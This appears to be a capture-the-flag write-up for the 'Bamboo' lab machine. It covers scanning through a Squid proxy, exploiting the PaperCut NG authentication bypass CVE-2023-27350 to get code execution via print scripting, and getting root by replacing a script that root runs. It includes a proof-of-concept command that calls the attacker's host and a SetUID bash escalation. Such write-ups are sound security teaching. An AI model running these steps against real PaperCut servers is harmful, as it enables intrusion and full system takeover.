Bamboo

Bamboo offers a Squid HTTP proxy through which I’ll access a PaperCut NG instance. I’ll use Spose to scan through the proxy and discover the print management application. I’ll exploit an authentication bypass vulnerability in PaperCut and use application access to enabling print scripting to get code execution. For privilege escalation, I’ll abuse a root process that runs a script from the papercut user’s home directory.

Box Info

Medium
Release Date 07 Oct 2025
Retire Date 07 Oct 2025
OS Linux Linux
Non-competitive release: no bloods
Creator xct

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and Squid (3128):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.238.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:37 UTC
...[snip]...
Nmap scan report for 10.129.238.16
Host is up, received echo-reply ttl 63 (0.021s latency).
Scanned at 2026-01-27 02:37:36 UTC for 13s
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
3128/tcp open  squid-http syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
           Raw packets sent: 131082 (5.768MB) | Rcvd: 13 (556B)
oxdf@hacky$ nmap -p 22,3128 -sCV 10.129.238.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:38 UTC
Nmap scan report for 10.129.238.16
Host is up (0.022s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA)
|_  256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519)
3128/tcp open  http-proxy Squid http proxy 5.9
|_http-server-header: squid/5.9
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy LTS.

Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Squid - TCP 3128

General Enumeration

Squid Proxy is an HTTP proxy. It can be configured with or without authentication. If I try to go to it directly in a web browser, it returns an errors page:

image-20260126222417442

The version is 5.9 according to the footer.

Proxied Port Scan

HackTricks has a page on pentesting Squid that suggests Spose as a way to scan through a Squid proxy. I’ll give it a run:

oxdf@hacky$ git clone https://github.com/aancw/spose.git
Cloning into 'spose'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 34 (delta 11), reused 17 (delta 6), pack-reused 11 (from 1)
Receiving objects: 100% (34/34), 7.89 KiB | 2.63 MiB/s, done.
Resolving deltas: 100% (11/11), done.
oxdf@hacky$ cd spose/
oxdf@hacky$ ls
__init__.py  LICENSE  README.md  requirements.txt  spose.py  url_request.py
oxdf@hacky$ uv add --script spose.py -r requirements.txt 
Updated `spose.py`
oxdf@hacky$ uv run spose.py 
Installed 1 package in 5ms
usage: spose.py [-h] --proxy PROXY --target TARGET [--ports PORTS] [--allports]

Squid Pivoting Open Port Scanner

options:
  -h, --help       show this help message and exit
  --proxy PROXY    Define proxy address URL (http://x.x.x.x:3128)
  --target TARGET  Define target IP behind proxy
  --ports PORTS    [Optional] Define target ports behind proxy (comma-separated)
  --allports       [Optional] Scan all 65535 TCP ports behind proxy

I’ll have it scan all ports, though that will take a while to complete. It prints findings as it finds them, so I don’t have to wait for it to finish to see the next step:

oxdf@hacky$ uv run spose.py --proxy http://10.129.238.16:3128 --target localhost --allports
Scanning all 65,535 TCP ports
Using proxy address http://10.129.238.16:3128
localhost:22 seems OPEN
localhost:9191 seems OPEN
localhost:9192 seems OPEN
localhost:9195 seems OPEN

Configure Tools

There are two ways I’ll want to interact through the Squid Proxy. From my command line, I’ll use proxychains but updating the ProxyList at the bottom of /etc/proxychains.conf to:

[ProxyList]
http    10.129.238.16   3128

Now, for example, I can use curl to fetch TCP 9191:

oxdf@hacky$ proxychains curl http://127.0.0.1:9191 -v
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
*   Trying 127.0.0.1:9191...
[proxychains] Strict chain  ...  10.129.238.16:3128  ...  127.0.0.1:9191  ...  OK
* Connected to 127.0.0.1 (10.129.238.16) port 9191
> GET / HTTP/1.1
> Host: 127.0.0.1:9191
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 302 Found
< Date: Tue, 27 Jan 2026 03:33:21 GMT
< Location: http://127.0.0.1:9191/user
< Content-Length: 0
< 
* Connection #0 to host 127.0.0.1 left intact

I already have my Firefox set up with FoxyProxy to proxy all my CTF traffic through Burp. I’ll go into Burp –> Proxy –> Settings –> Network –> Connections –> Upstream proxy servers and add this Squid instance:

image-20260126223631062

Now if I load http://127.0.0.1:9191, it loads the page.

PaperCut - TCP 9191, 9192, 9195

Just from these port numbers Claude calls out PaperCut:

image-20260126223837664

That matches what’s in the PaperCut docs:

image-20260126223916823

Visiting the page also redirects to the PaperCutNG login form:

image-20260126223952573

The version is 22.0. I don’t see any way to register, so there isn’t much I can do here to explore the app further without creds.

Shell as papercut

Identify CVEs

Searching for “papercut ng 22.0 cve” returns references to a couple vulnerabilities:

image-20260127082603264

CVE-2023-2533 is a CSRF where getting the admin to click a malicious link can lead to RCE. I don’t see a way to interact with the admin.

CVE-2023-27350 is much more interesting:

This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.

This is unauthenticated RCE, with a CVSS score of 9.8 / 10.

CVE-2023-27350

Background

The actual vulnerability with CVE-2023-27350 is an authentication bypass vulnerability. Once on the main page, leveraging that access to get RCE by abusing intended features of the application is not hard. Juniper Networking has a nice blog post breaking down the details as well as how exploitation became incredibly common with ransomware groups following its release.

The issue is in the setup process, which offers a button to login once it’s complete. This button manages to bypass authentication checks and provides a valid session.

Once inside, the user can disable the sandbox protections and enable scripting, allowing for code execution.

Manual POC

To show this, I’ll visit http://127.0.0.1:9191/app?service=page/SetupCompleted (through the Squid proxy):

image-20260127085029325 expand

Now on clicking login, I’m taken to the authenticated dashboard:

image-20260127085107959 expand

A common way to get code execution from Papercut is to enable print scripting. In Options –> Config Editor I’ll filter on “script” to get the two options I need to check:

image-20260127085340789

I’ve updated both of these to enable scripting and disable the sandbox.

Now under Printers, there’s one printer:

image-20260127090017453

Clicking on it, there’s a “Scripting” tab:

image-20260127090037487

If I try to visit this tab before enabling scripting, it shows:

image-20260127091430603

With scripting enabled:

image-20260127091510748

I’ll check the “Enable print script” box, and then add to the code:

image-20260127190155070

If the printJobHook function isn’t present, it will throw an error. I could put code inside it, but then it won’t run until a job is printed. By putting it outside the function, it will run when the function is saved. On clicking Apply at the bottom of the page, it runs:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:01:01.885767 IP 10.129.238.16 > 10.10.14.16: ICMP echo request, id 2, seq 1, length 64
00:01:01.885791 IP 10.10.14.16 > 10.129.238.16: ICMP echo reply, id 2, seq 1, length 64

Shell

I’ll switch the ping to a bash reverse shell:

image-20260127191639966

On hitting Apply, I get a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.16 56382
bash: cannot set terminal process group (699): Inappropriate ioctl for device
bash: no job control in this shell
papercut@bamboo:~/server$

I’ll upgrade the shell using the standard trick:

papercut@bamboo:~/server$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
papercut@bamboo:~/server$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
papercut@bamboo:~/server$ 

And grab user.txt:

papercut@bamboo:~$ cat user.txt
57510b56************************

Automated

Rather than do the entire exploit chain manually, there are POC scripts out there (like this one from horizon3ai) that will do all this in one step:

oxdf@hacky$ proxychains uv run --with requests CVE-2023-27350.py -u http://127.0.0.1:9191 -c 'curl http://10.10.14.16/fromPOC'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  10.129.238.16:3128  ...  127.0.0.1:9191  ...  OK
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y

In this case, I had it run curl, and there’s a hit at my webserver:

10.129.238.16 - - [28/Jan/2026 00:20:26] code 404, message File not found
10.129.238.16 - - [28/Jan/2026 00:20:26] "GET /fromPOC HTTP/1.1" 404 -

The way this script is set up won’t handle commands with pipes or redirects, so I’ll have to use one command to upload a file with a reverse shell, and another run to bash <that file>.

Shell as root

Enumeration

Users

The papercut user’s home directory is pretty empty other than the PaperCut install:

papercut@bamboo:~$ ls -la
total 324
drwxr-xr-x  8 papercut papercut   4096 Sep 30 16:30 .
drwxr-xr-x  4 root     root       4096 May 26  2023 ..
lrwxrwxrwx  1 root     root          9 Sep 30 16:30 .bash_history -> /dev/null
-rw-r--r--  1 papercut papercut    220 May 26  2023 .bash_logout
-rw-rw-r--  1 papercut papercut     74 May 26  2023 .bash_profile
-rw-r--r--  1 papercut papercut   3771 May 26  2023 .bashrc
-rw-r--r--  1 papercut papercut    102 Sep 29  2022 .install-config
drwxrwxr-x  3 papercut papercut   4096 May 26  2023 .local
-rw-r--r--  1 papercut papercut    881 May 26  2023 .profile
-rwxr-xr-x  1 papercut papercut  50569 Sep 29  2022 LICENCE.TXT
-rwxr-xr-x  1 papercut papercut   1537 Sep 29  2022 README-LINUX.TXT
-rwxr-xr-x  1 papercut papercut 212715 Sep 29  2022 THIRDPARTYLICENSEREADME.TXT
drwxr-xr-x  5 papercut papercut   4096 May 26  2023 client
lrwxrwxrwx  1 papercut papercut     24 May 26  2023 docs -> server/data/content/help
drwxr-xr-x  9 papercut papercut   4096 May 26  2023 providers
drwxr-xr-x  6 papercut papercut   4096 May 26  2023 release
drwxr-xr-x  5 papercut papercut   4096 May 26  2023 runtime
drwxr-xr-x 13 papercut papercut   4096 May 26  2023 server
-rwxr-xr-x  1 papercut papercut   3099 Sep 29  2022 uninstall
-rw-r-----  1 root     papercut     33 Jan 27 23:51 user.txt

Trying to list sudo rules requires a password, which I don’t have:

papercut@bamboo:~$ sudo -l
[sudo] password for papercut:

There is an admin password hash in the server.properties file:

papercut@bamboo:~/server$ cat server.properties | grep -v '#' | grep .
admin.username=admin                                               
admin.password=HASH\:$2a$10$I9n7kuIU2a0ODXhCfc3Z4e0h4G69KaFgDdksemRoNGrQf2Hu.4Xvm
server.enable-http-on-port-80=N                                    
server.enable-https-on-port-443=N                           
server.port=9191          
server.ssl.port=9192          
server.ssl.high-security-port=9195
require-cookies-for-login=Y
server.cookies.session.same-site= 
server.ssl.hsts-enabled=N
server.ssl.hsts-max-age-secs=31536000
server.ssl.hsts-include-sub-domains=Y
server.log-web-requests=N
database.type=Internal
database.driver=
database.url=
database.username=
database.password=
central-reports.enabled=Y
central-reports.database.local.include=Y
central-reports.database.local.label=Local Site
central-reports.require-all-databases-online=Y
temp-folder-cleanup.font-files.min-age-in-days=60

I’ll feed it to hashcat, but it doesn’t crack with rockyou.txt.

There is one other user with a home directory in /home:

papercut@bamboo:/home$ ls
papercut  ubuntu
papercut@bamboo:/home$ ls ubuntu/
ls: cannot open directory 'ubuntu/': Permission denied

That matches the users with shells configured in passwd:

papercut@bamboo:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
papercut:x:1001:1001:,,,:/home/papercut:/bin/bash

Papercut Binaries

In /home/papercut/server/bin/linux-x64 there are a bunch of binaries:

papercut@bamboo:~/server/bin/linux-x64$ ls -l
total 13116
-rwxr-xr-x 1 papercut papercut   111027 Sep 29  2022 app-monitor
-rw-r--r-- 1 papercut papercut     5514 Sep 29  2022 app-monitor.conf
-rwxr-xr-x 1 papercut papercut    16658 Sep 29  2022 app-server
-r-s--x--x 1 root     root        11071 Sep 29  2022 authpam
-rwxr-xr-x 1 papercut papercut     2456 Sep 29  2022 authsamba
-rwxr-xr-x 1 papercut papercut      479 Sep 29  2022 create-client-config-file
-rwxr-xr-x 1 papercut papercut      468 Sep 29  2022 create-ssl-keystore
-rwxr-xr-x 1 papercut papercut      763 Sep 29  2022 db-tools
-rwxr-xr-x 1 papercut papercut      501 Sep 29  2022 direct-print-monitor-config-initializer
-rwxr-xr-x 1 papercut papercut     2306 Sep 29  2022 gather-ldap-settings
drwxr-xr-x 2 papercut papercut     4096 May 26  2023 lib
-rwxr-xr-x 1 papercut papercut   493309 Sep 29  2022 pc-pdl-to-image
-rwxr-xr-x 1 papercut papercut 12689408 Sep 29  2022 pc-split-scan
-rwxr-xr-x 1 papercut papercut     9558 Sep 29  2022 pc-udp-redirect
-rwxr-xr-x 1 papercut papercut     7561 Sep 29  2022 roottasks
-rwxr-xr-x 1 papercut papercut     7777 Sep 29  2022 sambauserdir
-rwxr-xr-x 1 papercut papercut      493 Sep 29  2022 server-command
-rwxr-xr-x 1 papercut papercut     2253 Sep 29  2022 setperms
-rwxr-xr-x 1 papercut papercut      286 Sep 29  2022 start-server
-rwxr-xr-x 1 papercut papercut    11108 Sep 29  2022 stduserdir
-rwxr-xr-x 1 papercut papercut      279 Sep 29  2022 stop-server
-rwxr-xr-x 1 papercut papercut      480 Sep 29  2022 upgrade-server-configuration

These are run by the OS when some action taken on the webserver needs to do something on the host. With printers, a lot of times this will have to be done with escalated privileges.

I’ll upload pspy to the host and give it a run:

papercut@bamboo:/dev/shm$ wget 10.10.14.16/pspy64 
--2026-01-28 00:40:54--  http://10.10.14.16/pspy64
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  6.15MB/s    in 0.5s    

2026-01-28 00:40:55 (6.15 MB/s) - ‘pspy64’ saved [3104768/3104768]
papercut@bamboo:/dev/shm$ chmod +x pspy64
papercut@bamboo:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...

There’s nothing interesting happening on a cron. Exploring all the settings on the website, eventually I’ll find something interesting. Under “Enable Printing”, I’ll click the little “<” at the right side:

image-20260127195002942

That pops out a menu:

image-20260127195040572

I’ll click “Import BYOD-friendly print queues”:

image-20260127195125310

I’ll click Next:

image-20260127195143509

And finally “Start Importing Mobility Print printers”:

image-20260127195210154

It doesn’t find anything to add, but there’s an interesting set of lines in pspy:

2026/01/28 00:47:16 CMD: UID=0     PID=10219  | /bin/sh /home/papercut/server/bin/linux-x64/server-command get-config health.api.key   

That’s root running server-command from the papercut user’s home directory.

Pushing the “Refresh servers” button on the resulting page runs it again:

image-20260127195437658

Binary Hijack

To exploit this is simple. papercut controls that directory and binary:

papercut@bamboo:~/server/bin/linux-x64$ ls -l server-command 
-rwxr-xr-x 1 papercut papercut 493 Sep 29  2022 server-command
papercut@bamboo:~/server/bin/linux-x64$ ls -ld .
drwxr-xr-x 3 papercut papercut 4096 May 26  2023 .

I’ll move the script, and create my own:

papercut@bamboo:~/server/bin/linux-x64$ mv server-command server-command.bk
papercut@bamboo:~/server/bin/linux-x64$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 6777 /tmp/0xdf' | tee server-command
#!/bin/bash

cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 6777 /tmp/0xdf
papercut@bamboo:~/server/bin/linux-x64$ chmod +x server-command

Now I hit “Refresh servers”, and the 0xdf binary exists in /tmp and is SetUID:

papercut@bamboo:~/server/bin/linux-x64$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1396520 Jan 28 00:57 /tmp/0xdf

I’ll run it with -p to not drop privs:

papercut@bamboo:~/server/bin/linux-x64$ /tmp/0xdf -p       
0xdf-5.1# 

And grab root.txt:

0xdf-5.1# cat /root/root.txt
13668f50************************